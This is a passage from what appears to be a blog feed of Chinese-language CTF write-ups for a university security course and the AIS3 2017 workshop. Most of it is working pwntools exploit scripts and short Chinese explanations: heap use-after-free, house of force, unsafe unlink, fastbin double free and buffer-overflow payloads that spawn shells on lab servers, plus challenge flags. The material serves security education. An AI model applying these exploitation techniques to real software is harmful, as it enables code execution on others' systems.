class="line">53</div><div class="line">54</div><div class="line">55</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10139</span>)</div><div class="line"><span class="comment">#r = remote('localhost', 10139)</span></div><div class="line"></div><div class="line">print_note_fun = <span class="number">0x400886</span></div><div class="line">puts_got = <span class="number">0x602028</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_note</span><span class="params">(size, content)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"1"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(size))</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(content)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">del_note</span><span class="params">(idx)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"2"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(idx))</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">print_note</span><span class="params">(idx)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"3"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(idx))</div><div class="line"></div><div class="line">add_note(<span class="number">0x52</span>, <span class="string">"dada"</span>)</div><div class="line">add_note(<span class="number">0x78</span>, <span class="string">"dada"</span>)</div><div class="line">del_note(<span class="number">0</span>)</div><div class="line">del_note(<span class="number">1</span>)</div><div class="line">add_note(<span class="number">16</span>, p64(print_note_fun) + p64(puts_got))</div><div class="line">print_note(<span class="number">0</span>)</div><div class="line"></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">tmp = r.recvline()</div><div class="line"></div><div class="line">addr = u64(tmp[:<span class="number">-1</span>].ljust(<span class="number">8</span>,<span class="string">"\x00"</span>))</div><div class="line"><span class="keyword">print</span> hex(addr)</div><div class="line"></div><div class="line"></div><div class="line">base = addr - <span class="number">0x6f690</span></div><div class="line"></div><div class="line"><span class="comment">#system = base + 0x45390</span></div><div class="line"><span class="comment">#sh = base + 0x18cd17</span></div><div class="line"></div><div class="line">one_gadget = base + <span class="number">0xf0274</span></div><div class="line"></div><div class="line">del_note(<span class="number">2</span>)</div><div class="line"></div><div class="line">add_note(<span class="number">16</span>, p64(one_gadget))</div><div class="line">print_note(<span class="number">0</span>)</div><div class="line"></div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{DEATHNOTE!!!!}</code></p>
<h2 id="5Bpractice_5D_bamboofox1"><a href="#5Bpractice_5D_bamboofox1" class="headerlink" title="[practice] bamboofox1"></a>[practice] bamboofox1</h2><p>這題是考The house of force<br>看投影片看好久，size一直算錯，try了幾次之後才大概弄懂…</p>
<p>一開始會malloc bamboo:<br><code>bamboo = malloc(sizeof(struct box));</code></p>
<p>結束時，會call <code>bamboo-&gt;goodbye_message();</code><br>所以就是想辦法hijack掉goodbye_message()</p>
<p>然後這題的change_item，不會檢查有沒超過原本長度<br>所以可以heap overflow</p>
<p>我們就先新增一個chunk，然後change它<br>length就設比原本的chunk長0x10，就可以剛好蓋到top chunk的size<br>把top chunk的size蓋成<code>0xffffffffffffffffff</code><br>然後再malloc一個chunk，把top搬到我們要蓋的那塊chunk<br>(這邊length可以塞負的值，這邊要小心別算錯…)</p>
<p>之後就malloc一塊，去蓋goodbye_message，蓋成magic</p>
<p>最後exit，就會噴FLAG惹</p>
<p>exploit:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line"></div><div class="line">r = remote(<span class="string">'csie.ctf.tw'</span>, <span class="number">10138</span>)</div><div class="line"><span class="comment">#r = remote('localhost', 10138)</span></div><div class="line"></div><div class="line">target = <span class="number">0x400d49</span></div><div class="line">big = <span class="number">0xffffffffffffffff</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_item</span><span class="params">(length, content)</span>:</span></div><div class="line">r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"2"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(length))</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(content)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit_item</span><span class="params">(index, length, content)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"3"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(index))</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(length))</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(content)</div><div class="line"></div><div class="line">add_item(<span class="number">64</span>, <span class="string">"abc"</span>)</div><div class="line">edit_item(<span class="number">0</span>, <span class="number">80</span>, <span class="string">"A"</span>*<span class="number">64</span> + p64(<span class="number">0</span>) + p64(big))</div><div class="line"></div><div class="line"><span class="comment"># item size, box size, sizeof(header)</span></div><div class="line"><span class="comment"># -(64 + 16) - (16 + 16) - 16</span></div><div class="line">add_item(<span class="number">-128</span>, <span class="string">"kai"</span>)  </div><div class="line">add_item(<span class="number">32</span>, p64(target) * <span class="number">2</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<h2 id="5Bpractice_5D_bamboobox2"><a href="#5Bpractice_5D_bamboobox2" class="headerlink" title="[practice] bamboobox2"></a>[practice] bamboobox2</h2><p>觀察一下，可以發現在<code>change_item()</code>裡面有個漏洞</p>
<p>當新的size比舊的size大，就能heap overflow</p>
<p>所以可以新增三個item</p>
<p>然後修改第二塊，設一個比原本大的長度去overflow，偽造一塊chunk</p>
<p>原本的layout:</p>
<p><code>chunk2_prev_size + chunk2_size + data + chunk3_prev_size + chunk3_size</code></p>
<p>修改<code>data</code>，構造偽造的chunk，並overflow蓋到下一塊的header: </p>
<p><code>chunk2_prev_size + chunk2_size + fake_prev_size + fake_size + fake_fd + fake_bk + padding + fake_prev_size2 + fake_size2</code></p>
<p>其中原本指向第二塊的指標假設叫<code>r</code></p>
<p>則為了在unlink時滿足檢查機制</p>
<ol>
<li><p><code>fake_fd</code>必須設為<code>&amp;r-0x18</code> (<code>&amp;r - 0x18 + 0x18 = r</code>)</p>
</li>
<li><p><code>fake_bk</code>必須設為<code>&amp;r-0x10</code> (<code>&amp;r - 0x10 + 0x10 = r</code>)</p>
</li>
<li><p>chunk <code>size</code>必須等於next chunk的<code>prev_size</code> (<code>fake_size == fake_prev_size2</code>)</p>
</li>
</ol>
<p>做完以上事情之後，只要remove第三塊觸發第二塊的unlink，就能把<code>r</code>指到<code>&amp;r - 0x18</code>(BSS段)</p>
<p><code>&amp;r - 0x18</code>指到的是<code>itemlist</code>的第一個item</p>
<p>接著可以對這個item寫入got位址(寫到name)，再透過<code>show()</code>把這個got內容印出來(可以算libc base)</p>
<p>最後再change第一個item一次，可以把got內容寫成<code>system</code>之類的，就能getshell</p>
<p>script:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line">r = remote(<span class="string">'localhost'</span>, <span class="number">5278</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span><span class="params">()</span>:</span></div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(<span class="string">'1'</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span><span class="params">(length, name)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(<span class="string">'2'</span>)</div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(str(length))</div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(name)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">change</span><span class="params">(idx, length, name)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(<span class="string">'3'</span>)</div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(str(idx))</div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(str(length))</div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(name)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">remove</span><span class="params">(idx)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(<span class="string">'4'</span>)</div><div class="line">    r.recvuntil(<span class="string">':'</span>)</div><div class="line">    r.sendline(str(idx))</div><div class="line"></div><div class="line">add(<span class="number">0x80</span>, <span class="string">"a"</span>)</div><div class="line">add(<span class="number">0x80</span>, <span class="string">"a"</span>)</div><div class="line">add(<span class="number">0x80</span>, <span class="string">"a"</span>)</div><div class="line"></div><div class="line">rr = <span class="number">0x6020d8</span></div><div class="line">atoi_got = <span class="number">0x602068</span></div><div class="line">atoi_off = <span class="number">0x36e80</span></div><div class="line">system_off = <span class="number">0x45390</span></div><div class="line"></div><div class="line">chunk = p64(<span class="number">0x90</span>) + p64(<span class="number">0x81</span>) <span class="comment"># prev_size, size</span></div><div class="line">chunk += p64(rr - <span class="number">0x18</span>) + p64(rr - <span class="number">0x10</span>) <span class="comment"># fd, bk</span></div><div class="line">chunk += <span class="string">"A"</span>*<span class="number">0x60</span></div><div class="line">chunk += p64(<span class="number">0x80</span>) + p64(<span class="number">0x90</span>) <span class="comment"># prev_size2, size2</span></div><div class="line"></div><div class="line">change(<span class="number">1</span>, <span class="number">0x100</span>, chunk)</div><div class="line">remove(<span class="number">2</span>)</div><div class="line">change(<span class="number">1</span>,<span class="number">0x100</span>,p64(<span class="number">0</span>)+p64(atoi_got))</div><div class="line">show()</div><div class="line">r.recvuntil(<span class="string">'0 : '</span>)</div><div class="line">libc = u64(r.recvuntil(<span class="string">'1'</span>)[:<span class="number">-1</span>].ljust(<span class="number">8</span>,<span class="string">"\x00"</span>)) - atoi_off</div><div class="line"><span class="keyword">print</span> <span class="string">"libc:"</span>,hex(libc)</div><div class="line"></div><div class="line">change(<span class="number">0</span>, <span class="number">0x100</span>, p64(libc+system_off))</div><div class="line"></div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<h2 id="5Bhw4_5D_profile_manager"><a href="#5Bhw4_5D_profile_manager" class="headerlink" title="[hw4] profile_manager"></a>[hw4] profile_manager</h2><p>我廢，還沒解出來QQ<br>最近專心搞Web，有空再研究</p>
<h2 id="5Bhw5_5D"><a href="#5Bhw5_5D" class="headerlink" title="[hw5]"></a>[hw5]</h2><p>先跳過<br>看到heap就頭痛<br>有空再玩</p>
<h2 id="5Bhw6_5D_break"><a href="#5Bhw6_5D_break" class="headerlink" title="[hw6] break"></a>[hw6] break</h2><p>這題可以發現<code>0x601080</code>藏著一串看起來很神祕的字串</p>
<p>87%就是FLAG加密過的樣子</p>
<p>瞧一下他怎麼加密的</p>
<p>發現他會在index=<code>0,2,4,....</code>時，和<code>0x01</code>做XOR</p>
<p>然後在index=<code>1,3,5....</code>時，去和<code>&quot;Temporal Reverse Engineering&quot;</code>對應字元做XOR</p>
<p>至於0x40066d這個call，應該是拿來混淆用的(?，用不到</p>
<p>逆著解就能拿到FLAG惹</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;iostream&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string&gt;</span></span></div><div class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></div><div class="line">&#123;</div><div class="line">    ios_base::sync_with_stdio(<span class="number">0</span>);</div><div class="line">    <span class="built_in">string</span> t = <span class="string">"Temporal Reverse Engineering"</span>;</div><div class="line">    <span class="built_in">string</span> s = <span class="string">"\x42\x01\x47\x15\x51\x19\x6F\x23\x45\x79\x40\x08\x48\x08\x75\x11\x73\x47\x60\x0c\x64\x0c\x6e\x14\x42\x06\x72\x1b\x6e\x38\x68\x14\x60\x12\x6d\x07\x45\x44\x63\x13\x66\x01\x68\x1a\x66\x56\x68\x1b\x69\x2e\x78\x08\x60\x1e\x68\x0c\x48\x3b\x72\x1a\x73\x05\x6c\x07\x6f\x55\x60\x12\x68\x09\x6f\x09"</span>;</div><div class="line"></div><div class="line">    <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; s.size() - <span class="number">1</span>; i += <span class="number">2</span>) &#123;</div><div class="line">        s[i] ^= <span class="number">0x01</span>;</div><div class="line">        s[i + <span class="number">1</span>] ^= (t[ i % t.size()] + <span class="number">1</span>);</div><div class="line">    &#125;</div><div class="line">    <span class="built_in">cout</span> &lt;&lt; s &lt;&lt; <span class="built_in">endl</span>;</div><div class="line">    <span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>CTF{PinADXAnInterfaceforCustomizableDebuggingwithDynamicInstrumentation}</code></p>
<h2 id="5Bpractice_5D_calc"><a href="#5Bpractice_5D_calc" class="headerlink" title="[practice] calc"></a>[practice] calc</h2><p>用ida看，可以發現他會經過一連串的比較之後</p>
<p>才會噴出像FLAG的東西</p>
<p>這一串比較的東西，對應的字串就是<code>3133731337.31337</code></p>
<p>所以其實只要在小算盤上，輸入這一串</p>
<p>就會噴FLAG惹</p>
<p><code>flag{31337_is_so_l33t}</code></p>
<h2 id="5Bpractice_5D_shuffle"><a href="#5Bpractice_5D_shuffle" class="headerlink" title="[practice] shuffle"></a>[practice] shuffle</h2><p>這題打開來是一堆按鈕</p>
<p>按鈕上面的文字很明顯是FLAG</p>
<p>但是被打亂惹</p>
<p>重開程式，會發現排序也變惹</p>
<p>所以可猜測，這支程式會把FLAG塞進button</p>
<p>然後random打亂順序</p>
<p>我的解法：</p>
<p>打開Ollydbg的Windows視窗</p>
<p>可以看到每個按鈕的ID</p>
<p>照著ID大小排下來，就是原先FLAG的順序惹</p>
<p><code>FLAG{N0w_u_s3e_m3}</code></p>
<h2 id="5Bpractice_5D_babyfast"><a href="#5Bpractice_5D_babyfast" class="headerlink" title="[practice] babyfast"></a>[practice] babyfast</h2><p>這題是fastbin corruption的練習題</p>
<p>fastbin corruption基本上就是</p>
<p>fastbin chunk在free的時候，只會檢查對應大小的fastbin上</p>
<p>有沒有要free的這一塊，有的話就代表double free然後abort</p>
<p>所以只要不讓他在fastbin的第一塊，就能夠繞過檢查，達到<code>Double Free</code></p>
<p>例如： </p>
<p><code>malloc</code>兩塊同大小的chunk：A, B</p>
<p>然後<code>free(A)</code>，再<code>free(B)</code></p>
<p>這時候fastbin中大概長這樣：<code>B -&gt; A</code></p>
<p>這時候再<code>free(A)</code>，就變成： <code>A -&gt; B -&gt; A</code></p>
<p>然後A的fd因為指到B，所以實際上就變成circular linked list</p>
<p>如果這時候malloc(A)出來，那麼就有機會改掉A的fd</p>
<p>變成：<code>B -&gt; A -&gt; 任意位址</code></p>
<p>以這題來說的話，我們就可以讓A的fd指到我們要偽造的chunk</p>
<p>我們讓他指到<code>0x601ffa</code>，那他size對應到的就是0x60 (他這邊size只檢查4個byte，超過的會忽略)</p>
<p>因為size是0x60，所以allocate的時候要指定0x50</p>
<p>然後就剛好可以去蓋掉<code>free的GOT</code>，蓋成<code>system</code> </p>
<p>(這題保護是<code>Partial RELO</code>，所以GOT可改)</p>
<p>這樣我們只要把<code>&quot;/bin/sh\x00&quot;</code>餵給free當參數，就能拿shell惹</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</div><div class="line">r = remote(<span class="string">"csie.ctf.tw"</span>, <span class="number">10142</span>)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">allocate</span><span class="params">(size, data)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"1"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(size))</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(data)</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span><span class="params">(idx)</span>:</span></div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(<span class="string">"2"</span>)</div><div class="line">    r.recvuntil(<span class="string">":"</span>)</div><div class="line">    r.sendline(str(idx))</div><div class="line"></div><div class="line">allocate(<span class="number">0x50</span>, <span class="string">"kaibro"</span>) <span class="comment">#0</span></div><div class="line">allocate(<span class="number">0x50</span>, <span class="string">"kaibro"</span>) <span class="comment">#1</span></div><div class="line">allocate(<span class="number">0x50</span>, <span class="string">"kaibro"</span>) <span class="comment">#2</span></div><div class="line"></div><div class="line">free(<span class="number">0</span>)</div><div class="line">free(<span class="number">1</span>)</div><div class="line">free(<span class="number">0</span>)</div><div class="line"></div><div class="line">fake_chunk = <span class="number">0x601ffa</span></div><div class="line"></div><div class="line">allocate(<span class="number">0x50</span>, p64(fake_chunk)) <span class="comment">#3</span></div><div class="line">allocate(<span class="number">0x50</span>, <span class="string">"/bin/sh\x00"</span>) <span class="comment">#4</span></div><div class="line">allocate(<span class="number">0x50</span>, <span class="string">"kaibro"</span>) <span class="comment">#5</span></div><div class="line">system = <span class="number">0x4007d0</span></div><div class="line">allocate(<span class="number">0x50</span>, <span class="string">"a"</span> * <span class="number">0xe</span> + p64(system))</div><div class="line">free(<span class="number">4</span>)</div><div class="line">r.interactive()</div></pre></td></tr></table></figure>
<p><code>FLAG{FASTER~~~~}</code></p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這堂課是台大、台科大、交大、中央(?聯合的資安課程<br>今年全上pwn跟reverse，跟前年不太一樣(前年還有教Web、Crypto…等)<br>這一篇文章主要放這門課作業和練習的Write up，記錄一下解法怕忘記</p>
<p>課程網站：<a href="https://csie.ctf.tw" target="_blank" rel="external">https://csie.ctf.tw</a></p>
<h2 id="5Bhw0_5D_Pwn_1"><a href="#5Bhw0_5D_Pwn_1" class="headerlink" title="[hw0] Pwn 1"></a>[hw0] Pwn 1</h2><p>0x400566有個<code>callme()</code><br>裡頭就是<code>system(&quot;/bin/sh&quot;)</code><br>overflow蓋return address跳過去即可get shell<br>padding長度40</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">perl -e &apos;print &quot;A&quot;x40, &quot;\x66\x05\x40\x00\x00\x00\x00\x00&quot;&apos;</div></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">FLAG&#123;BuFFer_0V3Rflow_is_too_easy&#125;</div></pre></td></tr></table></figure>]]>
    
    </summary>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
      <category term="Pwn" scheme="http://blog.kaibro.tw/tags/Pwn/"/>
    
      <category term="NTU" scheme="http://blog.kaibro.tw/tags/NTU/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[AIS3 2017 Workshop]]></title>
    <link href="http://blog.kaibro.tw/2017/09/06/AIS3-2017-Workshop/"/>
    <id>http://blog.kaibro.tw/2017/09/06/AIS3-2017-Workshop/</id>
    <published>2017-09-06T08:34:36.000Z</published>
    <updated>2017-10-30T16:22:58.000Z</updated>
    <content type="html"><![CDATA[<p><img src="https://i.imgur.com/jEhADhe.png width:70%" alt=""></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。<br>因為平台好像關惹，我也懶得重搞環境打一次<br>所以下面解法很多都是憑著印象打出來的，有錯請見諒</p>
<h2 id="lab1"><a href="#lab1" class="headerlink" title="lab1"></a>lab1</h2><a id="more"></a>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">get_flag</span><span class="params">()</span></span>&#123;</div><div class="line">    <span class="keyword">int</span> fd ;</div><div class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> password;</div><div class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> magic ;</div><div class="line">    <span class="keyword">char</span> key[] = <span class="string">"why_my_teammate_Orange_is_so_angry??"</span>;</div><div class="line">    <span class="keyword">char</span> cipher[] = <span class="string">"hahaha"</span>;</div><div class="line">    fd = open(<span class="string">"/dev/urandom"</span>,<span class="number">0</span>);</div><div class="line">    read(fd,&amp;password,<span class="number">8</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Give me maigc :"</span>);</div><div class="line">    <span class="built_in">scanf</span>(<span class="string">"%lu"</span>,&amp;magic);</div><div class="line">    <span class="keyword">if</span>(password == magic)&#123;</div><div class="line">        <span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span> ; i &lt; <span class="keyword">sizeof</span>(cipher) ; i++)&#123;</div><div class="line">            <span class="built_in">printf</span>(<span class="string">"%c"</span>,cipher[i]^key[i]);</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">&#125;</div><div class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">    setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>);</div><div class="line">    get_flag();</div><div class="line">    <span class="keyword">return</span> <span class="number">0</span> ;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這題他讀了一個random的的password<br>然後要我們輸入的magic跟他一樣才會印出flag<br>要繞過這個判斷<br>可以用gdb跑<br>然後先下個斷點讓他停住<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">b *0x4007a1</div></pre></td></tr></table></figure></p>
<p>接著<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">set $rip=0x4007c9</div></pre></td></tr></table></figure></p>
<p>讓她直接跳過判斷去執行後面指令<br>FLAG就會彈出來了</p>
<p><br></p>
<h2 id="Practice1"><a href="#Practice1" class="headerlink" title="Practice1"></a>Practice1</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></div><div class="line"><span class="comment">//gcc bofe4sy.c -fno-stack-protector -o bofe4sy</span></div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">l33t</span><span class="params">()</span></span>&#123;</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"Congrat !"</span>);</div><div class="line">    system(<span class="string">"/bin/sh"</span>);</div><div class="line">&#125;</div><div class="line"></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">    <span class="keyword">char</span> buf[<span class="number">0x20</span>];</div><div class="line">    setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">0</span>);</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"Buffer overflow is e4sy"</span>);</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"Read your input:"</span>);</div><div class="line">    read(<span class="number">0</span>,buf,<span class="number">100</span>);</div><div class="line">    <span class="keyword">return</span> <span class="number">0</span> ;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這題題目super短，一臉就是直接跳到l33t就能拿到shell的樣子<br>payload:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">perl -e &apos;print &quot;a&quot;x40, &quot;\x46\x06\x40\x00\x00\x00\x00\x00&quot;&apos;</div></pre></td></tr></table></figure></p>
<p><br></p>
<h2 id="Practice2"><a href="#Practice2" class="headerlink" title="Practice2"></a>Practice2</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></div><div class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"mysandbox.h"</span></span></div><div class="line"></div><div class="line"><span class="keyword">char</span> shellcode[<span class="number">200</span>];</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</div><div class="line">    setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,<span class="number">2</span>,<span 